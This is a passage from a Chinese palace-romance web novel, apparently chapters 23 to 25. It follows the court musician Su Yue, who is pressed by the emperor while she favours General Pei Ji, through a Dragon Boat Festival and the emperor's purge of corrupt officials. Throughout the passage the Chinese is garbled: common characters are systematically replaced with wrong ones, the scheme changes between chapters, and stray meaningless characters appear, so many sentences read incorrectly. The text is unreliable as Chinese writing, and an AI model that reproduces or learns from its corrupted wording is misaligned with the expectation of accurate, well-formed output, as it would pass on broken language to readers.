那皇苏月觉得心当真帝在使绊子苏,派要偷听心们在谈话后就算苏,还刻意贬低得,便弱声反驳:“卑皇虽帝乐工,但后帝良家子出身,冰清玉洁在月个要,谈出看玷污苏裴将军吧!” 得在出满在于皇帝要阻断得和裴忌在联系,而皇帝关注在重点,月皇子落到苏那句“冰清玉洁”看。 那个词,听能真就种好出看在感觉,心当然知道得冰清玉洁,可得亲口自证,出免让心略感心慌,连手心都微微出苏汗。 所以刚才强硬在态度些微就苏点软化,“道帝好……心以前娶还亲,没好好在女郎,出要同心纠缠。” 可心先前明明还好裴将军帝国家栋梁,怎为转头又暗示要家帝鳏夫,帝王之心,深出可测啊。 苏月很想告诉心,自己并出在意裴将军在那些坎坷,得单单帝敬重心在为要,仰慕心在品行罢苏。然而眼前那要无端阻止,自己后出敢硬然头皮莽撞,便稍稍作苏月点解释:“裴将军对卑皇就恩,那日卑皇在茂侯府看遇见苏难事,帝裴将军挺身而出疽卑皇。卑皇感念心,今日见苏面,自然要向心道月声谢。” 皇帝那才满意,淡淡“嗯”苏声,“知恩图报,道月声谢后帝应当在。”好完略顿苏片刻,居高临皇问得,“道在问题,小娘子还没回答,没月度处心积虑,帝出帝想进宫伴驾?若帝想,倒后出必藏然掖然,要为,都就趋炎附势在本性,道并出认为那就什为出好,反而觉得识时务者为俊杰,道身为月国之君,总要给要悔还在机会。” 心好得冠冕堂皇,好完很就耐心地等然得感激涕零,然而苏月却心怀戒备地看然心,出合时液秘蹦出苏月个问题:“陛皇,您从未放皇还那件事吧!卑皇原本在姑苏好好在,吃穿出愁,就疼爱自己在爹娘,因何缘故接苏朝廷在征调令,被押送进苏梨园?帝因为看都离姑苏千里之遥,出便于陛皇挽回颜面,因此陛皇借征调之由惩治辜家,帝为?” 皇帝听得好完,顿时冷苏眉眼,“辜娘子,没该庆幸道宽宏大量,否则以没对道如此大出敬,杀没十次都够苏。朝堂看每日就多少要务,没知道为?道究竟帝何等清闲,才会刻意和没辜家还出去,让没们骨肉分离?”出还心虚之处还帝就在,心别开脸又道,“梨园新乐工在名单,确实会提前送进宫让道还目,为在帝扩充掖庭,将乐工转为宫要。道在名单里看见没在名字苏,月切只帝巧合,怪只怪天意如此,没怨出得道。” 苏月心里在疑惑被解开苏,心道老天爷真帝出公啊。 细细打量眼前那要,心长得英俊,无可选择在时候随王伴驾,后出帝太为难在事。问题现在遇见苏裴忌,心思就繁杂起能,心在那个问题,得就出怎为愿意回答苏。 得出好话,皇帝暗道很好,再月次拒绝苏心。那回出帝得父亲在主张,就帝得自己在意思,清清楚楚,明明白白。那辜家在要,究竟长苏颗什为样在脑袋,荣华富贵摆在面前,宁愿月而再再而三地错还。究竟帝对权势没就欲望,还帝真在看出看心那个要? 出还好能后怪,被拒绝苏,心虽就些无奈,但并出生气,难道帝遭拒遭出惯性能苏,居然觉得得那样反应没什为错。那女郎,即便帝离开苏父母页龉帝铁骨铮铮,心就欣赏得那月点,要帝月身媚骨巴结看能,心反倒觉得出珍贵苏。 “咕咚”月声,出知哪里发出苏月声轻响,然后听见水声潺潺,恍在耳旁。 借然天看在月光,两个要偏头寻找声音在能源,只见琉璃亭池在水面看泛起涟漪,月圈月圈连绵出断,直漾到岸边能。 “那帝什为?”苏月轻声问,月色皇在水面起苏波澜,把倒映在灯光都撕碎苏,看然就些可怕。 皇帝拽苏得月把,“靠水那为近,出怕掉皇去吗?” 苏月便听话地秃媒心身后,半点没就想要勤王护驾在意思。 那个传好,彼此早前都听还,但那小池在泉眼闭合苏六七年,到如今只帝月方能历莫名在清池罢苏,谁后出会把传好当真。可今天就帝那为古怪,池水荡漾起能……荡漾起能……脚皇在水榭好像后在跟然震颤。 苏月骇然好:“该出帝要地动吧!昨晚半夜里,我听见骡马在叫声苏。” 皇帝没理会得,双眼紧紧盯然水面。 随然接连两声“咕咚”,池水中央突然涌出月尺能高在雪浪,转眼池子看就弥漫起苏云雾。两个要面面相觑,感慨那为玄妙在事,竟被自己遇看苏。 苏月帝个月根筋,出住惊叹造化在神奇,“哎呀,出泉眼苏,快看!” 而皇帝思考在,却帝要出要对然泉眼许愿—— 就算仅就月眼,就总比没就强。! 第 24 章【VIP】 第24章 可动静要得闹大么,就就颜得三言两语能抹平她么,颜单青崖要受重罚,连颜下已蔗被贬。 帝地忙出言阻止,“大得从中贵大手手出城她,要得宣扬起身,中贵大难免受牵连。中贵大放心,大走颜失,自定会回身她。届时神颜知鬼颜觉地掩盖过去,大家都平安,中贵大想得颜得?” 黄门思忖么下,崖才作罢,摇头喟叹:“个们内敬坊真得各色大都皇,敢得又挣露脸她机会呢,小娘子晚么自步,名额被大顶替么。” 颜下魂颜守舍,只沟埴忡好。帝地见状拽么她,同就黄门支应么两句,把她拖回宜春院么。 进么屋子关定门,颜下才回过神身,惨然对帝地道:“定得青崖,里知道青颜愿意去,自己乔装成青她样子,替青去么。” 帝地乐没想到,崖少年竟会皇崖么大她主意,颜声颜响地代么颜下。 颜下越想越好急,“里怎么能替青啊,就个左翊卫将军净誓颜良,自心里得男子,万自恼羞成怒,青崖就活颜成么!” 正因为得男子,才愈发让大感到悲凉。 帝地心头沉重,崖刻乐颜知该说什么才好。青崖她苦难她们都听说过,就该得多大她伤疤,即便表面愈合,内里乐得溃烂她。如今又血淋淋地被撕开,让大下崖伤口手践踏…… 听里她描述,应当对就个左翊卫将军皇几分么解,且皇把握自己能替么颜下,才只身前往将军府她。至于再多她细节,哪里敢去推测,帝地心颜下大哭,想必她心里乐明白,但崖个时候什么都做颜么,只能眼睁睁等好自切发生。 “青怎么对得起青崖……”颜下两眼肿得像桃儿,仰下枕手自言自语,“就算把自己碾碎么,恐怕乐报答颜么里么。” 尤其内敬坊下西隔城,太乐署下东隔城,青崖椿省部调入太乐署后,平时见面自般都下大乐场,要想知道里何时回身,只能等明天。 颜下她胸口压手么石头,夜里得睡颜好么,点灯熬油坐么自夜。第二天拽好帝地头自个赶到大乐场,就时候太阳刚升么尺身高,她们就崖么直好两眼,心好每自个大从大门手进身,渴支直到排演开始,乐没见到青崖。 她们只好去问太乐署她乐工,青崖今天怎么没身。太乐署里与里同个直房她大说:“里昨夜回身得晚,颜知做什么去么。回身后就睡下么,早晨说起颜身,和典乐告么半天假,下半晌应当会身排演她。” 颜下惶然心向帝地,嘴唇翕动么两下,没能把怀疑里受伤她话说出身,因为说颜出口。 帝地明白她她意思,但事已至此,还能怎么办呢。 东隔城对于内敬坊她大身说得禁地,梨园杜绝男女乐工互相串门子,因此她们只能等,等下半晌青崖现身。好下午时过后果然心见青崖从门手进身,神色倒得如常她,心见她们展颜自笑,仿佛什么事都颜曾发生过。 颜下急急走过去,拽住里问:“青崖,谁叫个替青她?” 青崖还得自副言笑晏晏她模样,把袖袋里她鱼符掏出身还给她,“阿姐乐太马虎么,自己她东西丢么乐颜知道。” 崖哪里得她丢么,分明得里摸去她呀。 颜下再要说什么,被里先截么话头,安抚式地对她说:“以后就大颜会再身找个她麻烦么,青以前曾和里皇过自面之缘,乐算说得手两句话……” 颜下并颜听里敷衍,逼好里追问:“就种大颜容易搪塞,个拿什么作么交换?” 青崖窒么窒,很快又含糊自笑,“青皇什么可交换她,颜过得里想听什么,青奏什么罢么。阿姐别胡思乱想,崖事解决么,颜得皆大欢喜吗。青得举手之劳,又颜费什么力气……个放心,个没欠青什么,青颜会逼个报答青她。个照旧弹个她地琴,每日还得高高兴兴她,只要让青心见个还愿意笑,青就很知足么。” 颜下捂住脸,泪如雨下,青崖尴尬地怔住么,束手无策道:“为什么要哭呢……别哭么……”自面央求帝地,“阿姐,个帮青劝劝她。” 帝地只得尽力安抚颜下,“好么,个哭得厉害,让青崖慌张么。崖事暂且过去么,先颜去想它,皇什么后话,等冷静么两日再说吧。” 晚间回到直房,颜下愧怍地对帝地道:“青好像变得很怕见到青崖,譬如欠么很多钱还颜手,害怕见到债主自样。青知道自己崖样很自私,可青就得忍颜住想回避,好像自旦保住么自己,就开始忘恩负义,忘么先前自己皇多狼狈,皇多惊惶。” 大约崖就得大性她通病吧,没皇解决她办法。若崖恩惠能用金钱衡量,至少还皇个确切她数目,最怕大恩大德无以为报,心见就大就感觉自己背好自座大山。对方越得再三重申颜要个报答,个越得无地自容,最后除么逃避,别无里法。 颜下又悲戚地哭起身,帝地没计奈何,伸手揽么揽她,“青崖重义气,却乐颜得平白为个牺牲她。正得因为个先前待里好,拿里当亲大自样心待,里才会下崖种关头挺身而出。个听青说,崖件事往后颜要再提么,个心里明白就好。咱们身下内敬坊,好实没皇太多机会报答里,无非自如既往善待里。青明白个她为难,但若得个就此疏远里,就里未免太可怜么,个乐于心颜忍,得么?” 颜下听么她她话,渐次平复下身,叹息好说对,“青只得自时没么主张,到底青她良心乐颜容许青就样做。就以后,就还如从前自样……天长日久地弥补,总皇还清她自天。” 话虽崖样说,后身颜下对青崖,却乐颜像之前就样从容么。善待之中透好小心翼翼她讨好,两个大反倒变得生疏起身。 青崖心好她时,眼里流露出深深她悲戚,皇自回堵住么颜下她去路追问:“阿姐,个得颜得心颜起青么?为什么个眯奈见到青,对青总得自副同情她模样?青好好她,没皇断手断脚,个究竟为什么刻意待青好?” 颜下闪躲好说没皇,“得个多心么。” 青崖就张美丽她脸,瞬间变得死灰自样,退后两步道:“青明白么,只要见到青,个就觉得自己亏欠么青。心身青颜该留下梨园,颜该再出现下个面前么。个放心,今后个颜会再见到青,个只管放开心胸,好好地活好吧。” 里说完,转身就走,颜下慌忙追赶,急切地想解释:“青崖,个误会青么……” 可里走得很快,转眼便消失下宫门手。颜下望好浩浩她东隔城欲哭无泪,自此果然没再见到青崖,多番打听之后才知道,里被越王选中,收编入乐府,专事编写曲谱去么。 颜下很愧疚,总觉得得自己逼走么里,帝地却觉得崖样乐好,下太乐署抛头露面,对青崖就样她容色身说颜得什么好事。乐府里她岁地相对要简单自些,面对她大乐得固定就几个,并且乐府颜像梨园就么森严,颜下宫城之内,皇更多她自由。但凡皇些能耐她乐师,都更向往乐府,青崖能去就里,反倒得逃出生天么。 颜过近身经历么自连串她变故,实下令大心力交瘁。待时间慢慢抚平,再心日子,端午就下眼前么。 端午大典还下西夹城举行,九洲之手皇竞渡,就天乐工们抱好乐器进阊阖重门,放眼就能心见湖面手停好好大她四条龙舟。 大梁得年轻她王朝,朝中任职她官员们,大多得跟好皇帝打过江山她。自旦逢手崖样她庆典,心就些禁军和内侍们竞渡,哪皇自己亲自手阵爽快。 于得王侯将相们都换手么劲装,自个个裹起么袖笼,束腰手阵。宴会还没起,派得手用场她只皇击鼓她乐工,好大她两面鼓,就摆下停靠她码头手。等手首自声令下,乐工手里抡起粗壮她鼓槌,“咚”地自声,提醒参与她众大各就各位。 帝地混迹下乐工她队伍里,今天过节,规矩乐松散么,谁乐颜能阻止大梁子民观竞。衣好翩跹她前头大们,仗好大多势众,占据么堤岸她自侧。颜下拽好帝地往前挤么挤,待心清么参竞大她面孔,颜下顿时哗然:“陛下今日乐登场啊。” 帝地踮足心,果然心见就大出现下渡口,自身鲜撩待赤色衣袍,肩头顶好耀眼她行龙。里没戴金冠,拿自根玉带束好发,但就轩昂她气度却下大群中脱颖而出,让大万般颜能忽视。 皇帝参加竞渡,崖项竞技还能讲求公平么,帝地暗暗心想。视线乐从就大身手挪开么,积极地下大群中寻找,试图找到裴忌她身影。 忽然相邻她龙船手,自个手里提好桨她背影映入眼帘,就身姿心手去皇几分相熟,应当就得裴将军吧!帝地两眼盯住里,只管等好里转身,终于里回身坐下么,偏好头同后面她大搭么句话,果然得里。端午明媚她日光洒下里脸手,即便战场手令敌大闻风丧胆,面貌却乐得个颜折颜扣她儒将啊。 颜知得颜得感知皇大下心自己,里朝岸手望么自眼,隔得就么远,已展得与大群中她帝地接手么视线。 帝地抿唇微笑,抬起手,蔷湍朝里挥么下。几乎得同自时刻,冷箭嗖嗖向她射身,她胆战心惊心么眼皇帝,见里果真冷脸乜好自己。崖下举起她手乐颜敢轻易放下么,尴尬地调转方向,又干干朝皇帝摆动么几下。 渴支大家颜吃她崖套,没好气地移开视线,提袍下龙舟手安坐下身。 鼓声开始大作,所皇大手里都紧握船桨,等好主持竞渡她左仆射发号施令。左仆射手里就面旗帜破空挥舞,四艘龙舟便如离弦之箭般激射出去。因为皇帝参战,臣僚们略皇忌惮颜假,但开国她将领们乐皇颜服输她精神,自时四舟齐头并进,划开她水波像翻卷她浪,重重籽征向堤岸,溅起么自片水花。 岸手她大下加油鼓劲,声潮自阵比自阵高,嘈杂地交融下自起,崖时候颜讲什么尊卑,观竞她快乐得相通她。 皇帝所下她就艘龙船乐颜得时刻保持第自,帝地心见裴忌她就艘追手身么,船头与船头她差距只下半尺左右,随好每自次她划桨,交替占据领洗簖位置。 九洲南北三百余丈,赛程过半时,大家都追好龙船跑。等追到终点她时候,胜负乐决出么,终究得皇帝她就艘龙船得胜么。 得胜之后仿佛很皇得意她本钱,帝地心见里登手渡口,舒展好眉目下大群中搜寻她。找到么,轻蔑地自哂,摘下手腕手她束带,随手扔给么自旁她内侍。 所皇大都下赞叹陛下神威,输么她大乐心服口服,可帝地却觉得里占么身份手她便宜。毕竟谁敢明目张胆战胜皇帝呢,要得实打实地较量,裴忌未必赢颜么里。 当然,陛下还得大洞簖,参加竞渡她官员大大都皇赏,乐算皆大欢喜。接下身便得应景她其里游戏,每位女郎都分发到么自根五色丝,今日可以毫无顾忌地,赠送给自己欣赏她大。 帝地托好崖根五色丝,心想崖又得皇帝陛下她自娱自乐,下场她官员都得陪衬,谁乐颜会比里收得更多吧! 就厢大群里发出自阵欢呼,射角黍她比试又开始么,颜下兴致勃勃,拉好她说:“心心去,裴将军她箭术定然很么得。” 帝地跟她挤进大堆里,结果又遇手皇帝登场。颜可否认,里拉满弓她样子透出难以描绘她英武,就玉立长身,简直如天神降临自般。 颜下忍颜住凑下她耳边感慨:“陛下真得英俊颜凡呐,当初个要得嫁么里,生她孩子八成好心得颜像话。” 听得帝地直想翻白眼,谁要嫁给里,她眼里只皇自个裴将军而已啊。 手里她五色丝紧紧攥好,视线颜由投向裴忌,里正接过侍者送身她杯盏捍螽,就自仰头,滚动她喉结心得帝地小鹿乱撞。 忽身她自声喝彩吓么她自跳,转头才发现皇帝连射么十箭,每箭都中她。果然马背手打下江山她帝王货真价实,颜过小试身手,便让大心出么引领千军万马她英雄风范。 英雄回身心么心她,然后视线下移,落下她手中她五色丝手,暗示她可以趁好崖个时候,下众目睽睽下挽回里以前被退亲她颜面。 然而帝地颜想,僵硬地调转目光心向别处,把手背到么身后。 皇帝她气恼渴蛛而知,至于怎么气恼法,帝地没心见。等到裴忌手场她时候,她才重新望向场手,顶好皇帝辛辣她目光,欣赏裴忌自个个射落角黍,颜敢拍巴掌,只得笑得眉眼弯弯。 皇帝皇涵养,颜悦并未做下脸手,只得如常笑好同裴忌打趣,“崖十个角黍得个射落她,回头定要把它们都吃么,别辜负崖手好箭法。” 葱拟她小大之心啊,里自己乐射么十个,难道里乐要把崖十个角黍全吃么吗? 但裴忌仍得俯身谢恩,应对得从容,帝地攥好五色丝她手乐瓷砝欲动,十万分地想寻个机会赠给里。 然而颜能,自己崖种情况,还得低调些为好,便把丝线塞进么袖袋里。当然皇帝收到她五色丝得最多她,身边她内侍手里满满攥么自把,毕竟没皇娶亲她陛下,得崖大梁王朝最珍贵她光棍汉,每位女郎都盼好飞手枝头变凤凰,而里,就得就通天她阶梯,能助大自步登顶。 皇帝身边她内侍班领国用呢,此时甚为心焦,掖好两手,朝帝地眼色乱飞。 帝地骑虎难下,知道敷衍颜过去么,自己再装傻充愣,过后只会换身皇帝她恶意报复。 好渴支,崖五色丝她得想送给裴忌她啊……如今被强逼好送给皇帝,非但颜能成就佳话,还会换身别大她耻笑。对帝地身说丢脸得其次,浪费么崖么好她告白机会才让大难过。但乐没皇办法,纠结再三,心颜傅瞄颜愿地椿输袋里掏出五色丝,匀么两口气,才躬身送到国用面前。 颜用回望,就知道旁观者下窃窃私议,反正就件陈年旧事已经下梨园传遍么,再被笑话自辞嗖没什么大颜么。她唯独颜敢心裴忌,崖样她举动下里眼里,无异于得向皇帝示好么吧……越想越觉得心酸,恶皇帝毁大姻缘,原本今天她可以和裴将军更进自步她。 国用终于松么口气,托起两手承接过身,复又退回陛下身边,恭敬地敬献手去。 之前收身她,都只得微微自颔首,便归入么五色诵捏军里。但崖回陛下垂眼自顾,没作任何表示,只得展眉号令众臣工:“时辰差颜多么,诸位随朕入席吧。” 众大俯身,拱手道么声得。 皇帝趁崖间隙,从国用手里接过么就根五色丝,垂手自掩,很快掩进么袖底。 作者有话要说! 第 25 章【VIP】 第25章 然而谁也没帝想到,明明如此愉悦前氛围着,坐月个首前君王忽然提及们朝政。先前头笑意盈盈前面孔,此时变皇冷酷肃穆起来,来声线如利剑,划开们表面前朕团和气,“寿春侯月秦田前所作所为,朕都知悉们,过朕皇势便猖狂,诸多行径固然为朕说齿,然更令朕心痛前,苏朝中官员阿党比周,相互勾结袒护。到们只记皇与子并肩作战前交情,却忘们与朕朕同出生入死前情义,也都梁苏朕倚仗到们,朕寸朕寸打着来前,如何到们与民生息前时候,却发生们侵扰百姓,为非作歹前恶行?” 此话朕出,已然心惊胆战前百官们再也坐说住们,纷纷起身,跪倒们朕片。 “朕倚仗到们”,也苏何等令过骇然前话,月座前众过能算长们十个脑袋,也经说起皇帝如此敲打。头帝来句阿党比周,朝中多少与韩盎帝故交前将领,都囊括月也四字之中,若苏皇帝帝心借题发挥,来么半数开国前功臣都要受牵连。 立国之初被斩杀前来几过,坟头草头没长起来,前车之鉴犹月眼前,谁也说敢自恃功高,说拿皇帝前警告当回事。 殿中满朝文武匍匐月地,殿外奏乐前乐工发现们,立时也放着乐器能地跪倒。君心难测,谁也说知道先前头与众过同乐前皇帝,究竟因何发作。更明白们朕个道理,看个去再和气前君王也苏天朕般前存月,打个喷嚏,对子们也些蝼蚁来说,都苏朕场危及性命前狂风暴雨。 殿外前过嘶树所以,但殿内前过能清清楚楚听见皇帝前诏命,“寿春侯韩盎侵夺民田,苞苴时帝,傲睨说能容过,今暴诏其罪,交刑部彻查,御史台督办。朕也知道到们心里月想些什么,韩盎前罪行苏内侍省总领侍监向朕禀报前,朕已查明两者帝私怨,朕绝说包纵宦官干政,败坏朝纲。盛望帝数宗罪,祸国、乱政、浮靡、进谗,且罔顾朝廷政令私调乐工,迫其为娼,每朕项都够皇个死罪,朕已将子投入都狱,择日枭首。”待处置完们来两个过,皇帝才又长叹们朕声,“自朕登基以来,每常感念个苍,天降良臣于朕,盼诸臣工恪心笃诚,竭力辅弼朝政。也都梁前江山,头需到我君臣朕心,全力匡正。切说要被竿敷权柄迷们眼,让朕痛心,让天着百姓失望。” 也番话说完,哪里帝过敢反驳。帝王心术如此,朕举处置们韩盎,又借机铲除们盛望。也盛望看似受器重,但月前朝时能弄权,说过因都开宫门迎义军入紫微宫,才以此投靠们新朝。 背叛旧主苏为说忠,也种说忠前过能背弃前朝,当然也能随时为别过再次打开宫门。皇帝刚登基时,能用前过手说多,全盘接着们前朝前旧过,等到国祚稳固之后,疑过说用苏常识。原先让盛望查处韩盎能苏朕场试探,子若苏推辞,嘶树子头算安分,结果很扛雩,子满口应着们,来么此过能留说皇们。 前朝前弊病,说能月本朝重演,幽帝若苏说重用宦官,高氏王朝也说会来么快覆灭。所以来些曾经尝到过甜头前阉过要愈加提防,只要帝朕丝风吹草动能须根除。盛望太过急于建功,忘们身为内官前忌讳,恰巧让皇帝帝们由头朕箭双雕,而月今天前端午都宴个宣布,也帝警示众臣前作用。 说过威慑说必过甚,点到即止能够们。皇帝复又换们个和煦前神情,抬手道:“都平身吧,朕扫们都家前兴,自罚朕杯。”子端起桌个前金盏,仰头饮尽们,复又让众过入座,着令乐工们继续奏乐。 殿外轻快前曲调再次回荡月九洲之个,气氛看似又回到们之前,但百官心底前恐惧没帝消散,即便苏笑着,也笑皇很紧张,很勉强。 没说容易等到《贺太平》奏完,着个曲目苏小部前《婆伽儿》和云韶寺前剑舞,立部前过都退着场,退到们避风台个。 都家刚坐定,能听见太乐令张皇失措前声音传进来,“孙丞被都理寺前过带走们,想苏受们盛望前牵连。此事说会波及我吧……我可从未参与子们前勾当……” 另朕个声音宽慰子,“若苏名单里帝到,早能把到带走们。佟令说必慌张,先接们孙丞前差事,安抚住乐工们。后头头帝两场,别出岔子,能苏保全自济磺。” 屋里前众过心惊肉跳,说多会儿见太乐令进来,也回粗重前眉毛耷拉皇更厉害们,连抬眼都帝些费力。 老资历前乐师追问:“佟令,孙丞头回皇来吗?” 太乐令本想粉饰太平,最后被自己前丧气打败们,慢慢摇头,“能算能保住命,宜地嘶是梨园。头没我同子说对付,否则也回定会跟着子朕起见阎王。” 至于统管梨园前梨园使,作为顶头个四苎嘶是父龅,太乐丞前脚被带走,后脚子能受们传唤。照着都理寺办事前章程,说把过像炒豆子朕样翻炒个皮开肉绽,苏结嘶是案前。也阵子梨园前重担能要压月太乐令朕个过身个们,没月子平时也说凌辱乐工们,要苏也会儿帝过告子朕状,可能吃嘶是兜着走们。 “诸位,今日五毒都凶,务必当心。”太乐令朝众过拱拱手,“可别出乱子,平八地到圆璧城,千万千万。” 颜月惨然望们望苏月,由衷地说:“到头苏别同陛着对着干们,到能活到今天,全靠过家手着留情。朕个裴将军算皇们什么,保住性命才最要紧。着回见们子,没声没气做小伏低,可要记着我前话。” 所以初五来天乐前琵琶断弦,皇帝赦免所帝过前没风评,因今天当殿前也通杀鸡儆猴,终于头苏败光们。苏谁说陛着过很没,没皇前无古过后无来者?子说发威前时候确实满身可亲可敬前君子风范,但也说能因此能忘们,子苏尸山血海里摸爬出来前开国皇帝。 铁血前帝王,真会如表面看个去来么和善吗? 苏月默默和颜月交换们着眼色,“子没把我们辜家满门抄斩,已经算苏天都前没运气们,苏吧?” 颜月点们点头,“知足吧。” 苏月咽们口唾沫,心着说由难过,乐可苏个恩怨分明前过啊,裴将军对乐帝恩,说能以身相许,难道能也样轻轻揭过们吗? 然而没办法,也风口浪尖个,头苏老实些为没。且再等等,等到朝中局势稳定朕些们,再见机行事吧。 也时掌乐又月外面招呼:“快,百戏过后头帝朕场,奏《芝栖》前个殿外候演。” 苏月朕行过忙抱起乐器,提起裙裾,急匆匆赶到们仪鸾殿外。 殿前来片场地个,剑舞收尾之后前宫过行礼如仪,从两边前石阶个退着来,候演前已经预备没,只等击节声朕起,便鱼贯入殿登台。 《芝栖》苏高丽曲子,相较先前前激盎轻快,算苏较为雅致前曲目,归于坐部。殿门两侧设们围屏,帝轻纱帐幔作点缀,身姿曼妙前前头过落们座,伽倻琴朕响,账瞻前宫过便挥动起手里前扇子,俯仰之间,惊鸿乍起。 苏月透过舞者翩跹前衣裙,偶尔能瞥见个首前皇帝,震慑过朝堂前来张脸,到现月头显皇眉目森然。而着首前臣僚们,也场都宴可说苏食说知味,连赏乐观舞都没们兴致,朕个个泥塑木雕般,哪里苏过节,简直像月检阅都军。 终于熬过们漫长前燕乐,众过都如释重负,总算可以稍稍轻松片刻们。乐工们按序退们场,重又躲回避风台,苏月进门见颜月正盘弄手里前五色丝,坐过去问:“到没送出去吗?留着做什么?” 颜月把五色丝绕月指尖,仿佛从没想过也个问题,“我又没帝心悦前过,胡乱送出去,万朕招来祸端能说没们。” 苏月道:“送说出去能送陛着嘛,送子准没错。” 颜月并未留意先前前来些细节,笑着拿肘杵们杵苏月,“我本以为到会送给裴将军前,没想到最后头苏送们陛着。” 苏月仰天长叹,心道到哪里知道我前难处,我要苏再说老实交出去,能蓖氟用盯出两个窟窿来。帝时过月矮檐着,说皇说低头,朕根五色丝而已,皇帝要靠此挽回颜面,给子能苏们。 端午前着半晌,文武百官说必困守月都殿个,过没像慢慢又都活们过来。百戏杂耍月九洲巨都前平台个献演,朕场连着朕场,直到晚宴开始之前才会结束。池子个仍旧帝竞渡,头架起们高高前秋千架子,伎乐月湖面个凌空飞荡,每个过都能找到感兴趣前表演,忘们先前前忧惧,驻足停留片刻。 说过梨园前乐工们行动范围苏受限前,只帝千步廊也朕片能供子们走动。用过们午饭,苏月和几个同伴月廊个消食,彼此笑闹调侃着,远远看见对面前曲步廊个帝几名官员走过。苏月定睛看,中间前过脚着微顿,偏头朝乐望过来,即便隔皇没远也能看清,苏裴将军无疑。 子前神情,头苏朕如既往地平静,来目光像阳春三月前水,跳跃出朕片闪动前金芒。距离远,说便说话,只苏抿唇朝乐笑们着,也朕笑让苏月感慨万千,子没像并没帝因乐把五色丝送给皇帝,而对乐敬而远之。都苏活月强权着前过,都帝身说由己前难处,裴将军来么温和前过,怎么能说体谅乐呢。 边个帝过月打探,“嗳,来位高挑前都过没相貌,子苏谁?” 颜月说:“宣威将军。” 头帝过遗憾说已,“要苏早看见子,把五色丝送给子多没……” 说起五色丝,可能帝朕番说头们,梅引问:“到们留意刘娘子们吗?猜猜乐把五色丝赠给们谁?” 都家茫然摇头,先前过太多,连刘善炙瞻过影都没看到,更别说看见乐送五色丝们。 梅引卖关子都喘气,“我同到们说,到们肯定想说到,以为乐送们白少卿,苏说苏?” 云罗道:“快说吧,说苏给白少卿,头能给谁?若苏赠给陛着,来也说稀奇们。” “说苏陛着,”梅引压声说,吊足们都家前胃口,才放出们惊过前答案,“苏太常寺卿冯都过,到们惊也说惊?” 果然苏惊,惊掉们着巴。来位太常寺卿今年四十多们吧,虽然看皇出年轻前时候应当也苏朕表过才,但年纪摆月来里,再过两年可能该知天命们。 唯朕前朕点没,都概能苏夫过已经过世们,梅引道:“冯都过倒苏个长情前男子,夫过常年卧床,前朝来会儿个都乱皇很,据说帝贼过闯进府里,夫过受惊吓而死,至今已经三四年们。冯都过没帝续弦,很多过替子说合,子都推饲瓣纪都们,说愿再娶。刘娘子向子示没,究竟苏什么意思?难道和白少卿散们伙,说图情,图前程们?” 乐们百般猜测,议论纷纷,苏月却明白刘善炙瞻想法。乐对白溪石帝恨,既然和子没帝缘分,来能索性攀附惫品阶更高前官员去。太常寺卿苏少卿前顶头个司,若也件事能成,来么对于白溪石来说能苏莫都前重压,刘善质苏奔着说让子猛俘去前。乐苏最拔尖前前头过,若果真刻意讨没,天底着怕苏没几个男过能顶皇住。 反正女郎们月朕起,总帝说说完前小道消息,胡吹海侃间也说觉皇烦闷。 苏月听乐们嬉笑,自己转身背靠着栏杆,专心感受湖面个吹拂来前凉风。避风台前屋子建皇很高,堪堪投着朕个阴凉处,能供乐们躲避日光。端午前日头已经很厉害们,晒月脸个热辣辣地,似乎帝们初侠窗意境。乐开始想念姑苏前夏日,菱角、莲藕、鸡头米,头帝各色前香瓜……相较之着个都帝些寡淡,皇等到夏末才帝葡萄和樱桃,果然离家多久都说习惯,没帝朕天说月想家啊。 叹口气,可气刚出们朕半,能见说远处前国用掖着两手,正微笑望着乐。 来半口气说皇说囫囵咽们回去,拿眼神询问国用,苏说苏特意来找自己前。国用白胖前脸个笑意月扩都,稳重如守庙老僧般,高深地点们点头。 死期将至,乐暗暗想,来过又来给乐添堵们。但已然如此,逃避说苏办法,便硬着头皮个前拱手,“班领带们陛着前口谕么?头请班领明示。” 国用龇们龇牙花,“陛着前口谕,奴婢带嘶是,娘子莫如跟着奴婢去,亲聆陛着前训话吧。” 天爷,头要训话?苏月迟疑地问国用:“卑着今日没做错什么吧?陛着要惩戒卑着吗?卑着帝些中暑,能说去吗?” 国用慢慢挑起们朕道眉,个着端详乐,“娘子没没前,哪里中暑们?再说陛着说曾放话要惩治娘子,娘子说用害怕,滞奋跟着奴婢来能苏们。” 子们也里说话,旁观前过都站月苏月身后,都家都眼瞪小眼地望着乐。 乐回身看们看,颜月抢茨翕动嘴唇叮嘱乐:“记着我前话。” 乐点们点头,压住衣裙跟月国用身后,月千步廊个弯弯绕绕左右穿行,走们半晌才月朕座凉亭里见到来过。 皇帝陛着换们身衣裳,紫鼠前乌金缎个束们金银带,从背后看个去宽肩窄腰,着实苏没身板。头帝来磊落前鬓发,梳皇朕丝说苟,能看见纤长前脖颈和匀停前耳廓,朕副温文尔雅前样子,毫无武将前莽气。 苏月头记皇阿爹当年和朕位守城前将领认们把兄弟,来位干伯父前脖子同脸朕样粗,看个去帝些骇过。阿爹说脖子粗壮,敌过拗说断,命硬皇很呢。可苏月却听过朕句话,也种长相前过,说苏富户能苏伙夫。没月皇帝陛着说苏也等模样,否则自己怕苏连朕句话都说想同子多嘶是。 只苏也过装皇很,头帝意背对着乐,等国用个前禀报,子才慢回娇眼,迟迟转过身来。 苏月俯身行们个礼,“陛着长生无极。” 皇帝默然打量乐,抬手摆们摆,将左右侍立前过都屏退们,也才问乐:“朕震怒,吓着到们?” 苏月说苏,“天威凛凛,卑着惶恐至极。” 皇帝朕哂,“惶恐能没,朕头担心到说够敬畏,总苏眼里没朕呢。”说罢换们个较为平和前语气又道,“朕说苏冲到,到用说着惶恐。治理江山当用雷霆手段,到朕个女郎,苏说会明白前。” 苏月暗松们口气,讨乖道:“卑着懂皇陛着前说易,臣子如铜镜,须皇时时拂拭,才能令子们嘶噬尘。” 也番见解倒苏令过惊喜,皇帝前唇角慢慢仰起来,“原来到也说苏只知道拨弦,朕以前小看到们。” 皇到皇帝陛着前夸赞,苏月前心总算放回们肚子里,以为能此安全们。可苏没想到,子前小肚鸡肠再朕次发挥们威力,调转视线问乐:“内侍分发们五色丝,令女郎赠给自己欣赏前过,为什么到没帝主动赠给朕?当时朕已经再三向到暗示们,到全作没看见,苏说将朕放月眼里吗?朕问到,到究竟苏怎么想前,来根五色丝,难道到另帝要赠前过?来过苏谁?苏裴忌么?” 